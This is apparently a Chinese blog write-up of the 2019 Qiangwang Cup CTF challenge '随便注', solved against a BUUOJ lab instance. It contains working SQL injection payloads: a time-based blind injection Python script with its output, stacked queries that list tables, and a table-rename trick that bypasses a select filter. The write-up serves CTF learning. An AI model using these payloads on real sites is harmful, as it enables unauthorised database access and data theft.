[强网杯 2019]随便注
[强网杯 2019]随便注
先用字符串类型,测试注入类型
出现报错,说明这里是存在 字符型注入,测试万能公式
# payload
2' and '2'='2
成功回显了,然后就是老套路,查数据库、数据表、字段名、字段值。
出现了 正则过滤关键字,但是正则中存在一个 i 表示对查询的关键字大小写不敏感,大小写都可以被匹配到,只能使用延时注入爆破一下数据库名用户名,没什么有用的信息。
# 数据库名
import requests
import time
url = """http://f8b429df-c3d5-47e6-96a7-f81dca977300.node4.buuoj.cn:81/"""
letters = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
def db_name(len):
db_name = ''
print('Task execution-------------OK!')
for l in range(1,len+1):
for work in letters:
payload = """?inject=2' AND IF(substr(database(),%d,1)='%s',sleep(3),1) %%23""" %(l,work)
#payload = url_nop(payload)
start = time.time()
re = requests.get( url + payload)
end = time.time()
if (end - start) > 3:
db_name += work
break
else:
pass
print('db_name:{}'.format(db_name))
if __name__ == '__main__':
db_name(10)
# 结果
Task execution-------------OK!
db_name:s
db_name:su
db_name:sup
db_name:supe
db_name:super
db_name:supers
db_name:supersq
db_name:supersql
db_name:supersqli
db_name:supersqli
[Finished in 36.0s]
对sql里面的函数不是太清楚,就会个增删改查,都被过滤了,后来看了 WriteUp 才知道用什么方法进行注入。
注入方法:堆叠注入------大佬博客
利用多条SQL语句一起执行,每条语句之间使用 ; 隔开。
?inject=2';show tables;%23
爆出来了了两个表,查看表中的字段,发现了flag字段
?inject=2';desc `1919810931114514`;%23
# 这里为什么要加反引号呢?
# 这里的表名是数字,所以需要加上反引号
# 如果是字符串就可以不需要
?inject=2';desc words;%23
因为 select 关键字被过滤了,不能直接查,看 大佬文章 上给出了 两种方法,一种是使用 预编译 的方法,另外一种是 修改表名,我尝试使用修改表名的方法,这种方法感觉好特别。
# payload
1';alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
使用 or 就可以查询出flag了
# payload
?inject=1' or '1'='1
本文来自博客园,作者:knsec,转载请注明原文链接:https://www.cnblogs.com/knsec-cnblogs/p/16582258.html